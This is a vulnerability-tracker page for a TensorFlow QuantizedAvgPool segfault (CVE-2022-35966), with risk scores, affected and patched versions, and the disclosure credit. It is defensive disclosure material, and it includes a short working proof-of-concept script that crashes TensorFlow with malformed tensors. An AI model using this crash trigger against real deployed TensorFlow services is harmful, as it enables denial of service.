CVE-2022-35966Medium· 5.9▾ SunlitTensorFlow vulnerable to segfault in `QuantizedAvgPool`
▾ Sunlit zone — Low / medium · no exploitation signal
impact 32.5 · likelihood 0.1 · exploitation 0
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Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.4%
0.4% → 0.5%
If QuantizedAvgPool is given min_input or max_input tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.
import tensorflow as tf
ksize = [1, 2, 2, 1]
strides = [1, 2, 2, 1]
padding = "SAME"
input = tf.constant(1, shape=[1,4,4,2], dtype=tf.quint8)
min_input = tf.constant([], shape=[0], dtype=tf.float32)
max_input = tf.constant(0, shape=[1], dtype=tf.float32)
tf.raw_ops.QuantizedAvgPool(input=input, min_input=min_input, max_input=max_input, ksize=ksize, strides=strides, padding=padding)
We have patched the issue in GitHub commit 7cdf9d4d2083b739ec81cfdace546b0c99f50622.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
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This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
tensorflow < 2.7.2tensorflow >= 2.8.0, < 2.8.1tensorflow >= 2.9.0, < 2.9.1tensorflow-cpu < 2.7.2tensorflow-cpu >= 2.8.0, < 2.8.1tensorflow-cpu >= 2.9.0, < 2.9.1tensorflow-gpu < 2.7.2tensorflow-gpu >= 2.8.0, < 2.8.1tensorflow-gpu >= 2.9.0, < 2.9.1Upgrade to a patched release:
tensorflow 2.7.2tensorflow 2.8.1tensorflow 2.9.1tensorflow-cpu 2.7.2tensorflow-cpu 2.8.1tensorflow-cpu 2.9.1tensorflow-gpu 2.7.2tensorflow-gpu 2.8.1tensorflow-gpu 2.9.1Connected by shared product, vendor, weakness, or advisory.
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